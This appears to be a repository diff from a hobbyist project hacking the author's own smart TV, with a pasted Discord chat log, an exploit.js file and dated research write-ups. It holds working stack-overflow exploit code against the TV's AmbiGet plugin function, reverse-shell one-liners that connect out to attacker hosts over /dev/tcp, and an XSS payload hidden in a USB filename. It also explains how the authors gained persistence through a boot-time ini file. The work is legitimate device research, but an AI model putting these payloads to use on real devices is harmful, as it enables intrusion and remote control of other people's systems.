AAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
> " >/tmp/b" + String.fromCharCode(0x70) + String.fromCharCode(0x5F) + String.fromCharCode(0x01)
> )
> ```
> @Emily | Sunpy#5213
> File: `exploit.js` (1.72 KB)
> this is the general idea
> but I wouldn't run this whole thing at first
> if/when you wanna mess with this mention me and I'll jump into voice
> @Jan4V#0289
> ``/dev/shm/shm_tmp/fusion.0.1``
> @Jan4V#0289
> File: `crashdump` (6.03 MB)
> @Emily | Sunpy#5213
> File: `crashdump` (181.60 KB)
> @Emily | Sunpy#5213
> ```js
> function executeShellcode(shellcode) {
> var payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
> payload += encodeInt(0x41414141);
> payload += encodeInt(0x42424242);
> payload += encodeInt(0x9EBA0404);
> for(let i = 0; i < 4194304; i++)
> {
> payload += encodeInt(0xE0A15005);
> }
> payload += shellcode;
> new TV_JSP().tvServices.AmbiGet(0, payload);
> }
> ```
> @Jan4V#0289
> http://shell-storm.org/blog/Shellcode-On-ARM-Architecture/
> @Emily | Sunpy#5213
> http://shell-storm.org/shellcode/files/shellcode-730.php
> @Jan4V#0289
> btw `"a".repeat(123)` is a thing
> @HoLLy#2750
> ```js
> function executeShellcode(shellcode) {
> var payload = "A".repeat(1036);
> payload += encodeInt(0x41414141);
> payload += encodeInt(0x42424242);
> payload += encodeInt(0x9EBA0404);
> for(let i = 0; i < 0x400000; i++)
> {
> payload += encodeInt(0xE0A15005);
> }
> payload += shellcode;
> new TV_JSP().tvServices.AmbiGet(0, payload);
> }
>
> executeShellcode(encodeInt(0xEF91337B));
> ```
> @Jan4V#0289
> File: `crashdump` (124.31 KB)
> @Emily | Sunpy#5213
>
> ```js
> function encodeInt(input) {
> return String.fromCharCode((input & 0xFF), ((input >> 8) & 0xFF), ((input >> 16) & 0xFF), ((input >> 24) & 0xFF));
> }
> function executeCommand(command) {
> var payload = "A"*1036;
> payload += encodeInt(0x01011D48);
> payload += encodeInt(0x42424242);
> payload += encodeInt(0x9EBA0404);
> for(let i = 0; i < 0x400000; i++)
> {
> payload += encodeInt(0xE0A15005);
> }
> payload += encodeInt(0xE2444401);
> payload += encodeInt(0xE1A0B004);
> payload += encodeInt(0xE28F4008);
> payload += encodeInt(0xE1A0F00B);
> payload += encodeInt(0x41414141);
> payload += encodeInt(0x42424242);
> payload += command;
> new TV_JSP().tvServices.AmbiGet(0, payload);
> }
>
> executeCommand("touch /tmp/jan4v.txt");
> ```
> @Jan4V#0289
> File: `crashdump` (124.31 KB) (DUPLICATE: No crashdump was generated and I did not pay attention to timestamp)
> @Emily | Sunpy#5213
> ``/dev/shm/shm_tmp/fusion.0.1``
> @Jan4V#0289
> File: `crashdump` (6.03 MB)
> @Emily | Sunpy#5213
> File: `crashdump` (167.34 KB)
> @Emily | Sunpy#5213
> ```js
> function encodeInt(input) {
> return String.fromCharCode((input & 0xFF), ((input >> 8) & 0xFF), ((input >> 16) & 0xFF), ((input >> 24) & 0xFF));
> }
>
> function execute(pc, r4, r11) {
> var payload = "A".repeat(1040);
> payload += encodeInt(r4);
> payload += encodeInt(r11);
> payload += encodeInt(pc);
> new TV_JSP().tvServices.AmbiGet(0, payload);
> }
>
> function writeMemory4(address, data)
> {
> execute(0x23BCC, address + 0x880, data);
> }
>
> function callSystem(address)
> {
> execute(0x11D48, address, 0x41414141);
> }
>
> writeMemory4(0x8a55f040, 0x7478742E);
> ```
> @Jan4V#0289
> I mean you could already pwn the browser
> I believe
> so you could make it display any web page
> and we can read/write a bunch of files on the fs
> but sunpy is too scared to overwrite a script and get a shell that way, so we're doing the obviously safer way of corrupting the stack and jumping to the middle of a function, in the hope we can run a shell command that way :^)
> @HoLLy#2750
> We couldn't overwrite the scripts though
> @Shaddy#4422
> when I say "we" I basically mean an
> we tried like 1 script lol
> @HoLLy#2750
> we dont have permissions to write to the file
> we only have permissions to tmp
> @Emily | Sunpy#5213
> there's multiple places that get executed
> probably more places too though
> @HoLLy#2750
> We've tried multiple places
> @Shaddy#4422
> if there's a file/folder with incorrect permissions
> @HoLLy#2750
> That's the less exciting exploit anyway :^)
> @Shaddy#4422
> I tried to look for a script that *may* be in tmp that gets executed as the people doesnt seem to be consistent
> but couldnt find any
> we have permissions to /3rd_rw aswell
> @Emily | Sunpy#5213
> im going to jump out the window
> we can write commands to an ini file in read/write area
> @Emily | Sunpy#5213
> ``bash -i >& /dev/tcp/10.0.0.1/4242 0>&1``
> @Jan4V#0289
> @Emily | Sunpy#5213 `( sleep 300 ; echo "80" > /sys/class/leds/blue/brightness ) &`
> @HoLLy#2750
> https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
> http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
> @HoLLy#2750
> `( sleep 6 ; bash -i >& /dev/tcp/192.168.2.134/4242 0>&1 ) &`
> @Emily | Sunpy#5213
> ``( sleep 30; cat /proc/*/maps > /dev/tcp/127.0.0.1/4242; ) &``
> @Jan4V#0289
> File: `crashdump` (268.85 KB)
> @Emily | Sunpy#5213
> ![Terminal-tmux](img/img0.png "img0")
> @HoLLy#2750
> ```js
> function encodeInt(input) {
> return String.fromCharCode((input & 0xFF), ((input >> 8) & 0xFF), ((input >> 16) & 0xFF), ((input >> 24) & 0xFF));
> }
>
> function execute(pc, r4, r11) {
> var payload = "A".repeat(1040);
> payload += encodeInt(r4);
> payload += encodeInt(r11);
> payload += encodeInt(pc);
> new TV_JSP().tvServices.AmbiGet(0, payload);
> }
>
> function callSystem(address)
> {
> execute(0x11D48, address, 0x41414141);
> }
>
> callSystem(0x9CF55588);
> ```
> @Jan4V#0289
> ![cmd - nc -nlvp 1337](img/img1.png "img1")
> @Emily | Sunpy#5213
> ``/3rd/bin/wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-armv7l``
> ![openbox commands](img/img2.png "img2")
> @Jan4V#0289
> ``mount -t devpts none /dev/pts``
> @Jan4V#0289
> ![terminal](img/img3.png "img3")
> @Emily | Sunpy#5213
> https://cdn.azul.com/zulu-embedded/bin/zulu8.44.0.213-ca-jdk1.8.0_242-linux_aarch32hf.tar.gz
> @Jan4V#0289
> https://betacraft.pl/server-archive/minecraft/
> @Jan4V#0289
> https://download.cuberite.org/linux-armhf-raspbian/Cuberite.tar.gz
> @Jan4V#0289
> ``LD_LIBRARY_PATH=/lib:/3rd_rw/server``
> https://cdn.azul.com/zulu-embedded/bin/zulu8.44.0.213-ca-jdk1.8.0_242-linux_aarch32sf.tar.gz
> @Jan4V#0289
> ![minecraft server start](img/img4.png "img4")
> ![minecraft server still starting](img/img5.png "img5")
> @Emily | Sunpy#5213
> 569043771063ns loadtime :D
> @Emily | Sunpy#5213
> ![minecraft server running](img/img6.png "img6")
> @Emily | Sunpy#5213
> ```
> AllowTcpForwarding remote
> AllowStreamLocalForwarding no
> GatewayPorts yes
> ```
> @Jan4V#0289
> > minecraft code execution
> > \- Holly
> @Emily | Sunpy#5213

View File

@ -0,0 +1,30 @@
function encodeInt(input) {
return String.fromCharCode((input & 0xFF), ((input >> 8) & 0xFF), ((input >> 16) & 0xFF), ((input >> 24) & 0xFF));
}
function execute(pc, r4, r11) {
var payload = "A".repeat(1040);
payload += encodeInt(r4);
payload += encodeInt(r11);
payload += encodeInt(pc);
new TV_JSP().tvServices.AmbiGet(0, payload);
}
function writeMemory4(address, data)
{
execute(0x23BCC, address + 0x880, data);
}
function callSystem(address)
{
execute(0x11D48, address, 0x41414141);
}
writeMemory4(0x40383FFB, 0x7478742E);
writeMemory4(0x40383FF7, 0x76346E61);
writeMemory4(0x40383FF3, 0x6A2F706D);
writeMemory4(0x40383FEF, 0x742F2068);
writeMemory4(0x40383FEB, 0x63756F74);
callSystem(0x40383FEB);
// Does not work

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 527 KiB

28
research/12_dec_2018.md Normal file
View File

@ -0,0 +1,28 @@
# 12 December 2018
I already found some security issues and exploits not long after getting bored of a slow TV. Something seem a bit off about everything and how sluggish it is to respond. It turns out the whole TV interface is just multiple browser tabs.
## First security issue / exploit
Unsure of which was found first and in what order, but I were able to do xss in the usb filebrowser on the TV by naming a file on the usb something like ```<img src="onerror='location.href=`file`+String.fromCharCode(58)+String.fromCharCode(47).repeat(3)+`mnt`+String.fromCharCode(47)+`usb`+String.fromCharCode(47)+`sdb2`+String.fromCharCode(47)+`main.html`'">.mp3``` (yes it is long and not optimal or needed, but first tests be first tests). This would replace the usb filebrowser window with `main.html` from the usb.
Another issue is I could make a symlink to `/` on the usb and the TV's usb filebrowser would go to the TV's filesystem root. I could only see the filenames and folder structure, but could not open or edit any files (except open image and video files).
After scanning the TV for open ports 2 ports were particularly interesting; `7001` & `9222`. They both seem to be some web server interface that includes a chrome inspector and connects to the TV's browser tabs though websocket for inspection and debugging. From what I can tell `7001` does not allow you to run javascript in the inspector console, where `9222` seem to have no restrictions.
I then made a better filebrowser with my usb xss exploit that could also read *some* files of the TV and display them on the TV screen ([video](https://www.youtube.com/watch?v=4-StKSGXhHw)).
## Filesystem dump
I have javascript code execution with the usb xss and chrome inspection on port `9222`. I choose to use the chrome inspector method as it seem easier and faster to work with. **Robin** seem to point me in the direction of accessing `file:///` as that is what the TV is already doing with some of the tabs. I can not edit the address by any means to a file path as issues arise. I found a way to bypass this by using javascript's `XMLHttpRequest` class to make a local request. This could also read files but would spew out corrupted strings due to unprintable characters.
I end up writing a filesystem structure mapper in python that maps out the whole filesystem by calling `XMLHttpRequest` with javascript and parse the response to tell what files are in what directory and each filesize. After that was all handled I rewrote my load function to take the response from `XMLHttpRequest` and turn every byte into the hex representation of that byte and return a long string of any filestream. (I normally do not edit writeup files in post, but I understand I could have used base64 or anything else for this, but I did not know better at the time). I now went though the whole filesystem I had mapped out previously and sent the whole TV filesystem over websocket. This includes binaries (maybe they will come in handy at some point).
![USB filename xss](img/vQ9bn.png "vQ9bn.png")
## Require more research
I found a non-standard javascript function/class that does something native. `TV_JSP` seems to be an object that needs to be initialized with no arguments. `TV_JSP` returns `NJSEPluginFunction() { [native code] }`, whereas `new TV_JSP()` returns `NJSEPluginObject {}`.
After going though the filesystem dump I found a few javascript files that uses this function with different function calls as part of the object. Such as: `getTvJspService().tvServices.appOpen(name, url, 1)`.
There is also some `MtvObjRaw` object sometimes that I do not really understand yet. It seems to be related to `TV_JSP` and have defined some functions as help with the native bindings.
Currently I do not know how to find function names and how the work as I only really understand some of the javascript files that uses it. I did a scan though all binary files and it seems to lead me towards `/3rd/browser_engine/opera_dir/jsplugins/tvapi_jsplugin.so`, but I have no tools or knowledge to understand what to do with this. I have plans on doing other projects that may involve reverse engineering so I may revisit this at a later point in time.

15
research/19_apr_2020.md Normal file
View File

@ -0,0 +1,15 @@
# 19 April 2020
The project were picked back up after a long idle. Changes during last writeup has been the TV now asks for update every time after bootup (about 30 seconds to 2 minutes before it pop ups). As I am a reasonable person I say "no" every time.
## Ghidra
Currently I am checking the binaries I dumped late 2018 in [Ghidra](https://ghidra-sre.org/) as I have been doing other unrelated reversing lately that have helped me get my feet wet with reversing and debugging.
I am unsure what to look for so I have just been opening different binaries that I tried to understand last time. This includes mostly:
- /3rd/internet_browser/browser
- /3rd/browser_engine/opera_dir/jsplugins/tvapi_jsplugin.so
- /3rd/lib/libxtvapi.so
There were other files that were looked into but these were the most interesting at first sight. The most important one seem to be `tvapi_jsplugin.so` as this is the custom plugin they wrote that exposes some native functionality to their opera browser instance. It is quite difficult to use as you have to know what names, functions, etc. there are without any help. Even when you find a function you would need to somehow know the parameters and what it expects. It also seems very unstable as sometimes calling certain functions it would crash the browser instance and restart.
## Shell script chains
I have also been looking a lot though the shell scripts that are spread all over the place to try and understand the code flow and how the system starts and handle things. I am not experienced enough to understand how .rules files work (example: `/etc/udev/rules.d/devfs.rules`), but I think they are used to explain automated behavior. This is just a guess on my side so if anyone reads this in hope to understand what it does; do NOT take my guess as fact. I see something weird like `Palm Handheld` and such with `ttyUSB` (something that may give interactable terminal if I understood `autorun.sh` correctly). I hope that I am not required to buy some old device or spoof usb stuff with my pi to get a shell.

19
research/27_apr_2020.md Normal file
View File

@ -0,0 +1,19 @@
# 27 April 2020
Today I joined a discord voice chat with a group of people that I sometimes just play games with or discuss programming and nerd things with. I brought up some weird findings that I forgot to document in the past as they seemed very minor. It was how I found some hardcoded usb path for ttyUSB interaction. It seemed like the hardcoded path were going though a usb hub from my guess due to how the path looked like (`/sys/devices/platform/MtkUsbHcd.0/usb3/3-1/3-1.3/3-1.3:1.0/ttyUSB0/tty/ttyUSB0/dev`) compared to how it looked like when I plugged in something to my pi's usb.
## Node
I found some references to node.js in some files and given that there are multiple different custom browsers, chances for node access is high. If we had node access at all then accessing the filesystem would be quite easy. We are unsure if the browser console I have access to have any node functions exposed (if node is used). **Shaddy** gives a list of tests to try and figure any available node versions. He find that `deserialize` is a easily exploitable function that tends to be available ([docs](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)). We were unable to find any available node functions.
## Ghidra x IDA
It is time for more research and discovery so we can get a better foothold. People agree that `tvapi_jsplugin.so` seem to be the most interesting binary and is most likely bound to have exploitable issues included (functions with typoes etc. is a good sign for bad code). I try some function signatures I found, but are still unsure of the arguments some functions require.
First function that seem interesting is `accessLocalStorage`. If we can get any write or elevated read permissions to the system, then that could help crack the box open. (UNKNOWN) pointed out that the binaries have a letter pattern of the required arguments for the functions. A pointer to the function called were also close by, so we could inspect what the function did in greater detail. We found the function does both read and write to the filesystem depending on the arguments. There seem to be a bug with the read functionality of the function where it does not clear the buffer from last time it read a file. This makes it annoying to understand at first when we read a file successfully. Some people (**HoLLy**) tries to push me into writing into the existing shell files to get our own commands to execute, but I decline as it seem very risky to overwrite script files that may be required to run to get the tv to fully boot up etc. At some point I try to write to a smaller script file that would be fine if it did not execute the current code, but we discovered that we did not have permissions to edit such file. It currently seem like we can only write to the `/tmp` directory. This does not leave us with much options but we will keep it in mind for future testing.
Meanwhile **Jan4V** also found 2 exploitable functions: `AmbiSet` & `AmbiGet`, that have stack overflow potential. They both use strcpy into a fixed buffer size which we can overflow. The fixed size of the buffer is 1048 bytes. We end up using `AmbiGet` as "get" sounds safer then "set", but it would work regardless of which one we used. `AmbiGet` takes 2 arguments; "ns" (number, string). The first argument is the length, where 2nd is the string data. We set the length to 0 as it does not matter to us. If we send 1047 "A"'s the system responds with `undefined` back to the chrome inspector. If we send 1048 "A"'s the instance crashes as we have overwritten part of the stack with one 0x00 byte (since the string is null-byte terminated; making it 1049 bytes long)
## Stack overflow exploiting
We spend the rest of the day trying to find a good candidate to jump to as the return pointer can be overwritten. The stack is executable but the issue is we do not know where the SP is so we can not just jump to our own string as code reliably. We can also not include any null bytes in our payload which adds another layer of difficulties. **Jan4V** discovers that `browser` (`/3rd/internet_browser/browser`) is fixed in memory and we can reliably jump to it. `browser` has system calls to do simple things like make directories, so that leaves us with an easy decision as to where to jump to. **Jan4V** spends a long time assembling payloads to do tests and check reliabilities. It is a slow process that we should have automated as we had to make crashdumps then transfer those crashdumps to our computers to unzip and go though when we wanted to check things.
Due to the stack only rolling back 8 bytes we are limited to 8 bytes for the system call and we are unable to do proper debugging for some time. **Jan4V** spends some time making a good script to more easily test payloads with the overflow exploit.
- touch /tmp/youtube_fore

17
research/28_apr_2020.md Normal file
View File

@ -0,0 +1,17 @@
# 28 April 2020
We start off the day by picking up from last time and continue with the stack overflow exploit. More people in our community/group gets interested in what we are trying to do so we get some new eyes on the subject.
## First shell command
**HoLLy** wanted me to try more with the `accessLocalStorage` function and see if we could do anything useful with it. It turns out we have write permissions into one other directory then `/tmp` (and maybe some others less important right now); that being `/3rd_rw`. At first glance it did not seem to give us any more foothold as there is nothing of importance. Going though `/basic/autorun.sh` a few more times I find one instance of `/3rd_rw` calls. If `/3rd_rw/browser_engine/global_env_setup.ini` exists then it executes it. Lucky for us this file does not even exist, so there is no harm trying. Just make the new file in the directory and put a command in. We tried to touch a file to see if it ran during boot and it did!
Being unsure if the whole bash script sequence would stop if something errored in the new script we made sure to start everything as a background task and on a timer that would be enough to fix the error if something bad occurred. After some fiddling around we got basic bash with a reverse shell to run on startup (30 seconds after boot to ensure the TV had connected to the network). We had some issues to get that to work due to the TV being the one that makes the connection to my PC to establish the reverse shell connection.
## Shell upgrade
The current environment is limited and stripped down so we do not even know who we are yet. We have wget, but without ssl support. I ended up downloading [busybox](https://busybox.net/) and sending it over to upgrade to a better shell. Busybox worked flawlessly and we upgraded the reverse shell to start telnet and later made a login script that setup some path variables on login. Note that we had to mount /dev/pts to use telnet because we need to spawn a new ptty for every telnet session.
![neofetch](img/2KcTc.png "2KcTc.png")
## TV server
After dealing with java issues we got a minecraft 1.7.3 beta server to run. This is by far the most inefficient way of testing performance.
## Future work
Currently we can not run Crysis (yet) as we need to find out how to render to the TV screen as well as to compile missing libraries.

BIN
research/img/2KcTc.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

BIN
research/img/vQ9bn.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB